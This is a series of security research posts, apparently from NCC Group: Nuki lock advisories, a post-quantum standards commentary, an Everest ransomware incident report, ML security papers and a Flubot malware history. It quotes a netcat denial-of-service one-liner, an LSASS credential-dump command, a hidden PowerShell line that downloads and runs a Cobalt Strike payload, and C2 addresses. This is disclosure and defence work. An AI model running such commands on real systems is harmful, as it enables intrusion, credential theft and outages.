(16) xPSR (/32): 0x61000000
(17) msp (/32): 0x20002100
(18) psp (/32): 0x20010000
(20) primask (/1): 0x00
(21) basepri (/8): 0x00
(22) faultmask (/1): 0x00
(23) control (/3): 0x00

[1] https://www.silabs.com/documents/public/data-sheets/efr32mg13-datasheet.pdf


NCC Group recommends disabling SWD using the GPIO API described in “EFR32 Mighty Gecko 13 Software Documentation”[1]

[1] https://siliconlabs.github.io/Gecko_SDK_Doc/efr32mg13/html/group__GPIO.html#ga7aa21d660197b3e2f67589db89686bbf

Denial of Service via Unauthenticated HTTP API Messages (CVE-2022-32508)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32508

Risk: 6.5 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)


The affected devices were vulnerable to denial of service via crafted HTTP packets.


An unauthenticated attacker could cause a denial of service, affecting the availability of the Bridge by making the device unstable.


The following python command can be used in order to reproduce the denial of service attack:

$ python -c 'print(b"XXX / HTTP/1.1\r\nHost:\r\n\r\n")' | nc BRIDGE_IP 8080
HTTP/1.1 405 Method not allowed
Connection: Close
Content-Length: 27

HTTP 405 Method not allowedHTTP/1.1 405 Method not allowed
Connection: Close
Content-Length: 27

HTTP 405 Method not allowed

As shown in the HTTP response above, after sending the crafted HTTP message, the API server returned three consecutive “405 Method not allowed” message responses and rebooted.

The image below shows how after sending the crafted HTTP packet, the device was rebooted and requested a new IP address through the DHCP protocol. Note that the payload was sent twice, at seconds 48 and 86.

DHCP packets sent after the DoS

It should also be mentioned that this behaviour was investigated in the firmware, but the root cause could not be confirmed. Observations suggested that HTTP messages which did not have a valid “GET” method, where not being handled correctly leading to an infinite loop.


It is recommended to investigate the issue and try to identify the root cause.  

Denial of Service via Unauthenticated BLE packets (CVE-2022-32505)

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: CVE-2022-32505

Risk: 6.5 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)


The affected devices were vulnerable to denial of service(DoS) via crafted Bluetooth Low Energy (BLE) packets.


An unauthenticated attacker could cause a DoS, affecting to the availability of the Keyturner and making the device unstable.


The following bash command can be used in order to reproduce the denial of service attack: (This command can be sent a few times in a row to ensure the DoS)

connect error: Function not implemented (38)

Apart from observing the Keyturner reboot sounds and the engines turning, the device reboot was also verified by adding hardware breakpoints into the first firmware function (0x250f6) through the SWD interface:

> bp 0x250f6 2 hw
breakpoint set at 0x000250f6
> resume
>  // Denial of Service was done here
target halted due to breakpoint, current mode: Thread 
xPSR: 0x61000000 pc: 0x000250f6 msp: 0x200052ec  // breakpoint triggered, so device was rebooted

It should be mentioned that most of the BLE characteristics exposed and those undefined within the documentation seem vulnerable to the same issue.

The snippets of code below show characteristics found with write properties for the Keyturner v2 and v3.

Keyturner v2 characteristics with write properties:

Handles Service > Characteristics Properties
0008 -> 000b

0016 -> 0044
0045 -> 005b
005c -> 007b

007c -> 0088

0089 -> 008c

008d -> 0095

009d -> ffff


Keyturner v3 characteristics with write properties:

Handles Service > Characteristics Properties
0008 -> 000b

000c -> 0014

001a -> 002b

002c -> 005f

0060 -> 0076

0077 -> 0096

0097 -> 00a3

00a4 -> ffff



It is recommended to investigate the issue and try to identify the root cause.

Additionally, all BLE services and characteristics implemented by the Keyturner should be reviewed, disabling those which are not required for business purposes.

Insecure Invite Keys Implementation

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock application (v2022.5.1 (661))

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: N/A

Risk: 1.9 (CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N)


Invite token, which was created to identify the user during the invitation process, was also used to encrypt and decrypt the invite keys on the Nuki servers.


If malicious actor can take control of Nuki servers, this insecure implementation could facilitate the leak of this sensitive information and the invite user impersonation.


Based on conversations with Nuki, the invite functionality, which allows inviting users to interact with the Keyturner either temporarily or permanently, used the invite token to encrypt and decrypt the invite keys on server-side (Nuki Servers), which would reduce the effectiveness of the encryption implementation.

Encryption and decryption of sensitive information (such us invite keys) should be implemented on the client-side (administrator and invite user) and the encryption keys never known by Nuki.


Based on conversations with the Nuki team, it is known that the invite functionality was designed to work when the temporary user is not close the hardware device, that means, some external resources (Nuki Server e.g.) would be required.

Nevertheless, it is highly recommended implementing a strong encryption to avoid sensitive data (such as invite keys) being stored or sent out of the secure and trusted client environment.

A most secure implementation can be implemented by using a pre-shared key shared between the Keyturner administration and the invite user (as the invitation token is exchanged) in order to encrypt all invitation data (including the invitation key) before sending it to the Nuki servers. This would ensure that only the invite user could decrypt the sensitive information stored on the Nuki servers.

Opener Name Could Be Overwritten Without Authentication

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Opener (<1.8.1)

- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]

CVE Identifier: N/A

Risk: 2.1 (CVSS:2.0/AV:L/AC:L/Au:N/C:N/I:P/A:N)


Opener Bluetooth Low Energy (BLE) characteristics were implemented insecurely.


The device allowed an unauthenticated attacker to change the BLE device name.


The following were some of the services and characteristics available through the BLE protocol:

BLE write characteristic enabled

As seen in the image above, the “Device Name” characteristic had write access enabled. As a result, it was possible to send a write command to the device and change its name.


Require authentication for write operations on the device.

Vendor Communication

April 20 2022: Nuki was informed about the vulnerabilities found during the research.
May 6 2022: Nuki provided information to NCC Group about the fixes progress and potential release dates.
June 9 2022: Nuki released the vulnerability patches for all of our submitted vulnerabilities and informed to their clients.
June 19 2022: Nuki provided updates about the patching progress of their clients.
July 25 2022: Technical advisories were released

Thanks to

The Nuki team for their work during the whole process of responsible vulnerability disclosure. They have worked closely with NCC Group in order to provide security fixes for all the vulnerabilities found during the research to their customers. Therefore, we would like to praise their professionalism, responsiveness and the commitment to the security of their product.

Matt Lewis (Commercial Research Director at NCC Group) for his help and support during the disclosure process.

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date:  July 25 2022

Written by:  Daniel Romero, Pablo Lorenzo and Guillermo del Valle Gil

NIST Selects Post-Quantum Algorithms for Standardization

13 July 2022 at 20:04

Last week, NIST announced some algorithms selected for standardization as part of their Post-Quantum Cryptography project. This is a good opportunity to recall the history of this process, observe its current state, and comment on the selected algorithms. It is important to remember that the process is not finished: round 4 has started, and should ultimately produce at least one more selected algorithm.

The PQC project started in late 2016 with a call for submissions. The ostensible motivation was the possible emergence of quantum computers, since such machines would be able to break through existing asymmetric cryptographic algorithms based on number theory and related algebraic objects (RSA, elliptic curves…). Nobody really knows whether quantum computers will exist in the future; they combine impeccable theory with atrociously difficult technology, and are currently devouring huge research budgets while still being quite far from endangering even toy versions of common cryptographic algorithms. There are strong believers and strong disbelievers in practical quantum computing, but belief is not knowledge; however, the mere possibility is enough to warrant taking some precautions, in particular since the design and specification of a good cryptographic algorithm is known to be a lengthy process. Another good reason to investigate new classes of asymmetric algorithms, unrelated to quantum computing, is that we are currently relying on a relatively small set of mathematical “hard problems” that could potentially be weakened through some new insight by a mathematician, and that’s even less predictable than technological advances in trapping single atoms at ultra-low temperatures. Some variety in our algorithms would therefore be highly desirable.

NIST is adamant that the standardization project is not a competition, though it sure has some competitive flavour, with candidates, rounds and finalists. The call was for two algorithm categories: key encapsulation mechanisms (KEMs) and signatures, to be used in situations where we currently use, typically, Diffie-Hellman key exchange over some elliptic curve, and ECDSA or EdDSA, respectively. They received no fewer than 69 complete submissions! It was then followed by the usual winnowing process in which some of the weakest candidates were quickly broken, or withdrawn; other candidates found that they were so similar to each other that they could be merged. NIST organized several “rounds”, each time selecting some algorithms for the next round, and rejecting others. Their choice was informed by all comments and research papers that flourished about the candidates, though there cannot be a ultimately completely rational and unimpeachably logical “best candidate”, since security relies on predictions on future discoveries in mathematics. We are, at best, in the “educated guess” area in these matters. NIST had to perform a delicate balancing act between the known results, an informal estimation of how well we understand the underlying mathematical objects, performance and secure implementation issues, and their own goal of achieving some extra diversity in the kind of problems upon which the algorithms rely. NIST wrote an extensive status report that details the retained and not retained algorithms, and their rationale.

Round 3 is now finished, and some algorithms were selected for standardization:

  • The KEM algorithm CRYSTALS-Kyber
  • The signature algorithms CRYSTALS-Dilithium, Falcon, and SPHINCS+

Having a single KEM algorithm does not fulfill the diversity goal of NIST; indeed, a “round 4” has started with four remaining KEM candidates: BIKE, Classic McEliece, HQC and SIKE. The declared intent is to select at least one of these at the end of round 4. Conversely, no other signature algorithm was selected for round 4, so we have to assume that NIST feels content with the three selected algorithms, or, more accurately, that they did not find the remaining candidates to offer a sufficient mix of security and performance. A footnote in the NIST status report (note 7, page 19) states that NIST intends to issue a new call for post-quantum signatures before the end of 2022.

CRYSTALS-Kyber and CRYSTALS-Dilithium are two facets of a common mathematical problem, which is the difficulty of finding small vectors in a given lattice. The algorithms use module lattices and can share some parts of their implementations. The CRYSTALS Web site offers some summary and pointers to the specification and some implementations. NIST, very correctly, noticed that the two algorithms were based on strong science, a reasonably simple design, and allowed easy implementation with good performance. A slight issue might be about intellectual property: footnote 6 in the report (page 18) ominously states that some agreements are currently being discussed with some owners of patents that may apply to Kyber, and if these agreements cannot reach a satisfying conclusion by the end of 2022 then NIST might replace Kyber with NTRU, another former candidate and also one of the first proposed lattice-based algorithms. NIST strongly intends that any standardized algorithm may be used and implemented freely.

Falcon is also a lattice-based algorithm, though a slightly different kind of lattice. Disclaimer: I am part of the Falcon team (thus, I am technically one of the “winners” of the not-a-competition). Falcon uses an NTRU lattice, though in a somewhat convoluted way (see the Falcon Web site for details). Since it is lattice-based, it does not bring much diversity beyond Dilithium; NIST selected it for performance reasons: Falcon public keys and signatures are substantially shorter than Dilithium keys and signatures. For instance, Falcon offers public keys of size 897 bytes, and signatures of size 666 bytes, while Dilithium starts at 1312-byte keys and 2420-byte signatures. In the common situation of a TLS connection, the server sends its public key as part of a chain of X.509 certificates, and each certificate include both a public key, and a signature value; thus, the larger size of both values in Dilithium translates to more IP packets to send, which noticeably increases connection latency in experiments. This makes Falcon quite desirable in that kind of contexts. Unfortunately, while Falcon signature verification is relatively easy to implement, and fast, signature generation is a lot more complicated and very hard to implement securely. To my knowledge, apart from the Python demo implementation by Thomas Prest (who led the Falcon submission team), all existing implementations of Falcon are derivative of the reference code, which I wrote with some considerable effort. Falcon was, by far, the most complicated cryptographic algorithm I have ever implemented; this was at least one order of magnitude harder than, say, anything related to elliptic curves. I also got it wrong the first time. NIST recommends Dilithium by default, reserving Falcon for situations where the shorter keys and signatures yield important benefits; I fully agree with NIST here.

SPHINCS+ is a hash-based signature scheme. This is the conservative choice, whose security is completely unrelated to lattices, but instead relies on fairly basic properties of hash functions, so that we feel that we understand quite well why they work, and why they are not at risk at being broken in the near future (though, to be fair, we do not really know, mathematically speaking, whether secure hash functions can exist at all!). As the other algorithms, SPHINCS+ has its own Web site. SPHINCS+ performance is not so good, as is usual with hash-based signature schemes: public keys are very small (32 bytes at the base security level), but signatures are quite large (at least 7856 bytes). It must be noted that SPHINCS+ is a stateless scheme; there are other standardized stateful hash-based schemes (e.g. XMSS and LMS) which offer somewhat smaller signatures, but require the signer to maintain some state that changes for each produced signature. In general, such hash-based schemes are adequate in situations such as an embedded system verifying a cryptographic signature on its firmware image whenever it boots up.

What next? The standardization process will continue. NIST will proceed to draft standards for CRYSTALS algorithms, then for Falcon and SPHINCS+; there may be some cosmetic adjustments on the algorithms at that point. The standard-writing and approval steps are not faster than anything else in the whole process, so we should not expect formally published standards before at least a year from now. Non-lattice KEMs are still being investigated (three code-based schemes, and one using isogenies between supersingular elliptic curves). Outside of the PQC process, science still works and new proposals are made; e.g. the recently proposed BAT is a lattice-based KEM using a Falcon-like lattice, but without requiring the cumbersome floating-point computations, and offering smaller keys and ciphertext than CRYSTALS-Kyber.

Climbing Mount Everest: Black-Byte Bytes Back?

Authored by: Michael Mullen and Nikolaos Pantazopoulos



In the Threat Pulse released in November 2021 we touched on Everest Ransomware group. This latest blog documents the TTPs employed by a group who were observed deploying Everest ransomware during a recent incident response engagement.

In summary, we identified the following key TTPs:

  • Lateral Movement through Remote Desktop Protocol (RDP)
  • Gathering of internal IP addresses for hosts on the network
  • Local LSASS dumps
  • NTDS.dit dumps
  • Installation of Remote Access Tools for persistence

Everest Ransomware

Earlier reports [1] have linked Everest ransomware as part of the Everbe 2.0 family, which is composed of Embrace, PainLocker, EvilLocker and Hyena Locker ransomware. However, after recovering and analysing an Everest ransomware file, we assess with medium confidence that Everest ransomware is related to Black-Byte.

Everest TTPs

Lateral Movement

The threat actor was observed using legitimate compromised user accounts and Remote Desktop Protocol (RDP) for lateral movement.

Credential Access

ProcDump was used to create a copy of the LSASS process in order to access additional credentials. The following command was observed being executed:

C:\Users\<Compromised User>\Desktop\procdump64.exe -ma lsass.exe C:\Users\<Compromised User>\Desktop\lsass<victim’s domain name>.dmp, for example lsasscontoso.dmp.

A copy of the NTDS database was also created with a file name of ntds.dit.zip.

Defence Evasion

Throughout the incident the threat actor routinely removed tooling, reconnaissance output files and data collection archives from hosts.


Network discovery was observed upon the compromise of a new host. This activity was primarily conducted via the use of netscan.exe, netscanpack.exe and SoftPerfectNetworkScannerPortable.exe. These tools allow network scans to identify further hosts of interest as well as building a target list for ransomware deployment.   

The output of these tools were saved as text files in the C:\Users\Public\Downloads\ directory. Examples of these have been included below:

  • C:\Users\Public\Downloads\subnets.txt
  • C:\Users\Public\Downloads\trustdumps.txt


The threat actor installed the WinRAR application on a file server which was then used to archive data ready for exfiltration.

Command and Control

Cobalt Strike was the primary command and control mechanism used by the threat actor. This was executed on hosts using the following command:

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(<IP Address>/a'))

Additionally, a Metasploit payload was identified within the path C:\Users\Public\l.exe.

The following Remote Access Tools were also deployed by the threat actor as a secondary command and control method, in addition to added persistence with the tools being installed as a service

  • AnyDesk
  • Splashtop Remote Desktop
  • Atera


The threat actor utilised the file transfer capabilities of Splashtop to exfiltrate data out of the network.


Everest’s action on objectives appears to focus on data exfiltration of sensitive information as well as encryption, commonly referred to as double extortion.

Indicators of Compromise

IOC (indicators of compromise) Value Indicator Type Description
netscan.exe File name SoftPerfect Network Scanner
netscanpack.exe File name This was unable to be analysed during the investigation.
svcdsl.exe File name SoftPerfect Network Scanner Portable
Winrar.exe File name Popular archiving tool, which supportsencryption.
subnets.txt File name Network Discovery output file
trustdumps.txt File name Network Discovery output file
l.exe File name Metasploit payload
hxxp://3.22.79[.]23:8080/ URL Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:8080/a URL Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:10443/ga.js URL Cobalt Strike C2
hxxp://18.193.71[.]144:10443/match URL Cobalt Strike C2
hxxp://45.84.0[.]164:10443/o6mJ URL Meterpreter C2


The recovered ransomware binary is attributed to (based on the ransomware note) the ‘Everest group’. However, after analysing it, we identified/attributed the sample to Black-Byte (C# variant instead of Go). It should be noted that the sample’s compilation timestamp does match the incident’s timeline.

Even though the sample’s functionality remains the same, we noticed that it does not download the key from a server anymore. Instead, it is (randomly) generated on the compromised host. In addition, the ransomware’s onion link is different.

Based on our findings, we cannot confirm if a different threat actor copied the source code of Black-Byte and started using it or if the Black-Byte have indeed started using again the C# ransomware variant.


Tactic Technique ID Description
Initial Access External Remote Services T1133 Initial Access was through an insecure external service
Execution Command and Scripting Interpreter: PowerShell T1059.001 Threat actor utilised PowerShell to execute malicious commands
Execution Command and Scripting Interpreter: Windows Command Shell T1059.003 Threat actor utilised Windows Command Shell to execute malicious commands
Lateral Movement Remote Services: Remote Desktop Protocol T1021.001 Lateral movement was observed utilising RDP
Persistence Create or Modify System Process: Windows Service T1543.003 Threat actor installed remote desktop software tools as services for persistence
Credential Access OS Credential Dumping: LSASS Memory T1003.001 The tool Procdump was used to create a copy of the LSASS process
Credential Access OS Credential Dumping: NTDS T1003.003 The NTDS.dit was copied
Defence Evasion Indicator Removal on Host: File deletion T1070.004 Threat actor routinely deleted tooling and output
Discovery Network Service Discovery T1046 Threat actor utilised numerous network discovery tools – Netscan and SoftPerfectNetworkScanner
Collection Archive Collected Data: Archive via Utility T1560.001 Threat actor archived data using WinRAR
Command and Control Application Layer Protocol: Web Protocols T1071.001 Cobalt Strike was implemented using HTTPS for C2 traffic
Command and Control Remote Access Software T1219 Threat actor utilised remote access software – Anydesk, Splashtop and Atera
Exfiltration Exfiltration Over C2 Channel T1041 Data exfiltration was conducted using the Splashtop application
Impact Data Encrypted for Impact T1486 Data was encrypted for impact


Five Essential Machine Learning Security Papers

7 July 2022 at 17:17

We recently published “Practical Attacks on Machine Learning Systems”, which has a very large references section – possibly too large – so we’ve boiled down the list to five papers that are absolutely essential in this area. If you’re beginning your journey in ML security, and have the very basics down, these papers are a great next step.

We’ve chosen papers that explain landmark techniques but also describe the broader security problem, discuss countermeasures and provide comprehensive and useful references themselves.

  1. Stealing Machine Learning Models via Prediction APIs, 2016, by Florian Tramer, Fan Zhang, Ari Juels, Michael K. Reiter and Thomas Ristenpart


ML models can be expensive to train, may be trained on sensitive data, and represent valuable intellectual property, yet they can be stolen – surprisingly efficiently – by querying them.

From the paper: “We demonstrate successful model extraction attacks against a wide variety of ML model types, including decision trees, logistic regressions, SVMs, and deep neural networks, and against production ML-as-a-service (MLaaS) providers, including Amazon and BigML.1 In nearly all cases, our attacks yield models that are functionally very close to the target. In some cases, our attacks extract the exact parameters of the target (e.g., the coefficients of a linear classifier or the paths of a decision tree).”

  1. Extracting Training Data from Large Language Models, 2020, by Nicholas Carlini, Florian Tramer, Eric Wallace, et. al.


Language models are often trained on sensitive datasets; transcripts of telephone conversations, personal emails and messages… since ML models tend to perform better when trained on more data, the amount of sensitive information involved can be very large indeed. This paper describes a relatively simple attack technique to extract verbatim training samples from large language models.

From the paper: “We demonstrate our attack on GPT-2, a language model trained on scrapes of the public Internet, and are able to extract hundreds of verbatim text sequences from the model’s training data. These extracted examples include (public) personally identifiable information (names, phone numbers, and email addresses), IRC conversations, code, and 128 bit UUIDs. Our attack is possible even though each of the above sequences are included in just one document in the training data.”

  1. Model inversion attacks that exploit confidence information and basic countermeasures, 2015, by Matt Fredrikson, Somesh Jha and Thomas Ristenpart


Model Inversion attacks enable the attacker to generate samples that accurately represent each of the classes in a training dataset, for example, an image of a person in a facial recognition system or a picture of a signature.

From the paper: “We experimentally show attacks that are able to estimate whether a respondent in a lifestyle survey admitted to cheating on their significant other and, in the other context, show how to recover recognizable images of people’s faces given only their name and access to the ML model.”

  1. Targeted Backdoor Attacks on Deep Learning Systems Using Data Poisoning, 2017, by Xinyun Chen, Chang Liu, Bo Li, Kimberly Lu, and Dawn Song


Obtaining training data is a major problem in Machine Learning, and it’s common for training data to be drawn from multiple sources; user-generated content, open datasets and datasets shared by third parties. This attack applies to a scenario where an attacker is able to supplement the training set of a model with a small amount of data of their own, resulting in a model with a “backdoor” – a hidden, yet specifically targeted behaviour that will change the output of the model when presented with some specific type of input.

From the paper: “The face recognition system is poisoned to have backdoor with a physical key, i.e., a pair of commodity reading glasses. Different people wearing the glasses in front of the camera from different angles can trigger the backdoor to be recognized as the target label, but wearing a different pair of glasses will not trigger the backdoor.”

  1. Explaining and harnessing adversarial examples, 2014, by Ian J. Goodfellow, Jonathon Shlens, and Christian Szegedy


Neural networks classifiers are surprisingly “brittle”; a small change to an input can cause a surprisingly large change in the output classification. Classifiers are now a matter of life and death; the difference between a “STOP” sign and a “45 MPH” sign, a gun and a pen, or the classification of a medical scan are extremely important decisions that are increasingly automated by these systems, so this odd behaviour is an extremely important security problem.

This paper is an exploration of the phenomenon, with several suggested explanations, discussion around generation of adversarial examples, and defences.

The paper also poses several interesting questions. From the paper: “An intriguing aspect of adversarial examples is that an example generated for one model is often misclassified by other models, even when they have different architecures or were trained on disjoint training sets. Moreover, when these different models misclassify an adversarial example, they often agree with each other on its class.”

Whitepaper – Practical Attacks on Machine Learning Systems

6 July 2022 at 18:36

Written by Chris Anley, Chief Scientist, NCC Group

This paper collects a set of notes and research projects conducted by NCC Group on the topic of the security of Machine Learning (ML) systems. The objective is to provide some industry perspective to the academic community, while collating helpful references for security practitioners, to enable more effective security auditing and security-focused code review of ML systems. Details of specific practical attacks and common security problems are described. Some general background information on the broader subject of ML is also included, mostly for context, to ensure that explanations of attack scenarios are clear, and some notes on frameworks and development processes are provided.

This paper may be downloaded below:

Flubot: the evolution of a notorious Android Banking Malware

5 July 2022 at 19:58

Originally published June 29, 2022 on the Fox-IT blog

Authored by Alberto Segura (main author) and Rolf Govers (co-author)


Flubot is an Android based malware that has been distributed in the past 1.5 years in
Europe, Asia and Oceania affecting thousands of devices of mostly unsuspecting victims.
Like the majority of Android banking malware, Flubot abuses Accessibility Permissions and Services in order to steal the victim’s credentials, by detecting when the official banking application is open to show a fake web injection, a phishing website similar to the login form of the banking application. An important part of the popularity of Flubot is due to the distribution strategy used in its campaigns, since it has been using the infected devices to send text messages, luring new victims into installing the malware from a fake website. In this article we detail its development over time and recent developments regarding its disappearance, including new features and distribution campaigns.


One of the most popular active Android banking malware families today. An “inspiration” for developers of other Android banking malware families. Of course we are talking about Flubot. Never heard of it? Let us give you a quick summary.

Flubot banking malware families are in the wild since at least the period between late 2020 and the first quarter of 2022. Most of its popularity comes from its distribution method: smishing. Threat Actors (TA) have been using the infected devices to send text messages to other phone numbers, stolen from other infected devices and stored in Command-and-Control servers (C2).

In the initial campaigns, TAs used fake Fedex, DHL and Correos – a local Spanish parcel shipping company – SMS messages. Those SMS messages were fake notifications which lured the user into a fake website in order to download a mobile application to track the shipping. These campaigns were very successful, since nowadays most people are used to buy different kinds of products online and receive that type of messages to track the shipping of the product. Flubot is not only a very active family: TAs have been very actively introducing new features, support for campaigns in new countries and improving the features it already had.

On June 1, 2022, Europol announced the takedown of Flubot in a joint operation including 11 countries. The Dutch Police played a key part in this operation and successfully disrupted the infrastructure in May 2022, rendering this strain of malware inactive. That was interesting period of time to look back at the early days of Flubot, how it evolved and became so notorious.

In this post we want to share all we know about this threat and a timeline of the most relevant and interesting (new) features and changes that Flubot’s TAs have introduced. We will focus on these features and changes related to the detected samples but also in the different campaigns that TAs have been using to distribute this malware.

The beginning: A new Android Banking Malware targeting Spain [Flubot versions 0.1-3.3]

Based on reports from other researchers, Flubot samples were first found in the wild between November and December of 2020. Public information about this malware was first published on 6 January 2021 by our partner ThreatFabric (https://twitter.com/ThreatFabric/status/1346807891152560131). Even though ThreatFabric was the first to publish public information on this new family and called it “Cabassous”, the research community has been more commonly referring to this malware as Flubot.

In the initial campaigns, Flubot was distributed using Fedex and Correos fake SMS messages. In those messages, the user was led to a fake website which was basically a “landing page” style website to download what was supposed to be an Android application to track the incoming shipping.

In this initial campaign versions prior to Flubot 3.4 were used, and TAs were including support for new campaigns in other countries using specific samples for each country. The reasons why there were different samples for different countries were:
– Domain Generation Algorithm (DGA). It was using a different seed to generate 5.000 different domains per month. Just out of curiosity: For Germany, TAs were using 1945 as seed for the DGA.
– Phone country code used to send more distribution smishing SMS messages from infected devices and block those numbers in order to avoid communication among victims.

There were no significant changes related to features in the initial versions (from 0.1 to 3.3). TAs were mostly focused on the distribution campaigns, trying to infect as many devices as possible.

There is one important change in the initial versions, but it is difficult to find the exact version in which this change was first introduced because there are some version without samples on public repositories. TAs introduced web injections to steal credentials, the most popular tactic to steal credentials on Android devices. This was introduced starting between versions 0.1 and 0.5, in December 2020.

In those initial versions, TAs increased the version number of the malware in just a few days without adding significant changes. Most of the samples – particularly previous to 2.1 – were not uploaded to public malware repositories, making it even harder to track the first versions of Flubot.

On these initial versions (after 0.5), TAs also introduced other not so popular features like the “USSD” one which was used to call to special numbers to earn money (“RUN_USSD” command), it was introduced at some point between versions 1.2 and 1.7. In fact, it seems this feature wasn’t really used by Flubot’s TAs. Most used features were the web injections to steal banking and cryptocurrency platform credentials and sending SMS features to distribute and infect new devices.

From version 2.1 to 2.8 we observed TAs started to use a different packer for the actual Flubot’s payload. It could explain why we weren’t able to find samples on public repositories between 2.1 and 2.8, probably there were some “internal” versions
used to try different packers and/or make it work with the new one.

March 2021: New countries and improvements on distribution campaigns [Flubot versions 3.4-3.7]

After a few months apparently focused on distribution campaigns and not really on new features for the malware itself, we have found version 3.4 in which TAs introduced some changes on the DGA code. In this version, they reduced the number of generated domains from 5.000 to 2.500 a month. At first sight this looks like a minor change, but is one of the first changes to start distributing the malware in different countries in a more easy way for TAs, since a different sample with different parameters was used for each country.

In fact, we can see a new version (3.6) customized for targeting victims in Germany in March 18, 2021. Only five days later, another version was released (3.7), with interesting changes. TAs were trying to use the same sample for campaigns in Spain and Germany, including Spanish and German phone country codes split by newline character to block the phone number to which the infected device is sending smishing messages.

At the same time, TAs introduced a new campaign on Hungary. By the end of March, TAs introduced a new change on version 3.7: an important change in their DGA, since they replaced “.com” TLD with “.su”. This change was important for tracking Flubot, since now TAs could use this new TLD to register new C2’s domains.

April 2021: DoH and unique samples for all campaigns [Flubot versions 3.9-4.0]

It seems TAs were working since late March on a new version: Flubot 3.9. In this new version, they introduced DNS-over-HTTPs (DoH). This new feature was used to resolve domain names generated by the DGA. This way, it was more difficult to detect infected devices in the network, since security solutions were not able to check
which domains were being resolved.

In the following images we show decompiled code of this new version, including the new DoH code. TAs kept the old classic DNS resolving code. TAs introduced code to randomly choose if DoH or classic DNS should be used.

The introduction of DoH was not the only feature that was added to Flubot 3.9. TAs also added some UI messages to prepare future campaigns targeting Italy.
Those messages were used a few days later in the new Flubot 4.0 version, in which TAs finally started to use one single sample for all of the campaigns – no more unique samples to targeted different countries.

With this new version, the targeted country’s parameters used on previous version of Flubot were chosen depending on the victim’s device language. This way, if the device language was Spanish, then Spanish parameters were used. The following parameters were chosen:
– DGA seed
– Phone country codes used for smishing and phone number blocking

May 2021: Time for infrastructure and C2 server improvements [Flubot versions 4.1-4.3]

May starts with a minor update on version 4.0 – a change the DoH servers used to resolve DGA domains. Now instead of using CloudFlare’s servers they started using Google’s servers. This was the first step to move to a new version, Flubot 4.1.

In this new version, TAs have changed one more time the DoH servers used to resolve the C2 domains. In this case, they introduced three different services or DNS servers: Google, CloudFlare and AliDNS. The last one was used for the first time in the life of Flubot to resolve the DGA domains.

Those three different DoH services or servers were chosen randomly to resolve the generated domains, to finally make the requests to any of the active C2 servers.
These changes also brought a new campaign in Belgium, in which TAs used fake BPost app and smishing messages to lure new victims. One week later, new campaigns in Turkey were also introduced, this time in a new Flubot version with important changes related to its C2 protocol.

The first samples of Flubot 4.2 appeared on 17 May 2021 with a few important changes in the code used to communicate with the C2 servers. In this version, the malware was sending HTTP requests with a new path in the C2: “p.php”, instead of the classic “poll.php” path.

At first sight it seemed like a minor change, but paying attention to the code we realized there was an important reason behind this change: TAs changed the encryption method used for the protocol to communicate with the C2 servers.

Previous versions of Flubot were using simple XOR encryption to encrypt the information exchanged with the C2 servers, but this new version 4.2 was using
RC4 encryption to encrypt that information instead of the classic XOR. This way, the C2 server still supported old versions and new version at the same time:

  • poll.php and poll2.php were used to send/receive requests using the old XOR encryption
  • p.php was used to send and receive requests using the new RC4 encryption

Besides the new protocol encryption on version 4.2, TAs also added at the end of May support for new campaigns in Romania.

Finally, on 28 May 2021 new samples of Flubot 4.3 were discovered with minor changes, mainly focused on the strings obfuscation implemented by the malware.

June 2021: VoiceMail. New campaign new countries [Flubot versions 4.4-4.6]

A few days after first samples of Flubot 4.3 were discovered – on May 31, 2021 and June 1, 2021 – new samples of Flubot were observed with version number bumped to 4.4.
One more time, no major changes in this new version. TAs added support for campaigns in Portugal. As we can see with versions 4.3 and 4.4, it was common for Flubot’s TAs to bump the version number in just a few days, with just minor changes. Some versions were not even found in public repositories (e.g. version 3.3), which suggests that some versions were never used in public or just skipped and TAs just bumped the version. Maybe those “lost versions” lasted just a few hours in the distribution servers and were quickly updated to fix bugs.

In the month of June the TAs hardly made any changes related to features, but instead they were working on new distribution campaigns.

On version 4.5, TAs added Slovakia, Czech Republic, Greece and Bulgaria to the list of supported countries for future campaigns. TAs reused the same DGA seed for all of them, so it didn’t require too much work from their part to get this version released.

A few days after version 4.5 was observed, a new version 4.6 was discovered with new countries added for future campaigns: Austria and Switzerland. Also, some countries that were removed in previous versions were reintroduced: Sweden, Poland, Hungary, and The Netherlands.

This new version of Flubot didn’t come only with more country coverage. TAs introduced a new distribution campaign lure: VoiceMail. In this new “VoiceMail” campaign, infected devices were used to send text messages to new potential victims using messages in which the user was lead to a fake website. This time a “VoiceMail” app was installed, which should allow the user to listen to the received Voice mail messages. In the following image we can see the VoiceMail campaign for Spanish users.

July 2021: TAs Holidays [Flubot versions 4.7]

July 2021 is the month with less activity. In this month, only one version update was observed at the very beginning of the month – Flubot 4.7. This new version came without the usage of different DGA seeds by country or device language. TAs started to randomly choose the seed from a list of seeds, which were the same seeds that were previously used for country or device language.

Besides the changes related to the DGA seeds, TAs also introduced support for campaigns in new countries: Serbia, Croatia and Bosnia and Herzegovina.

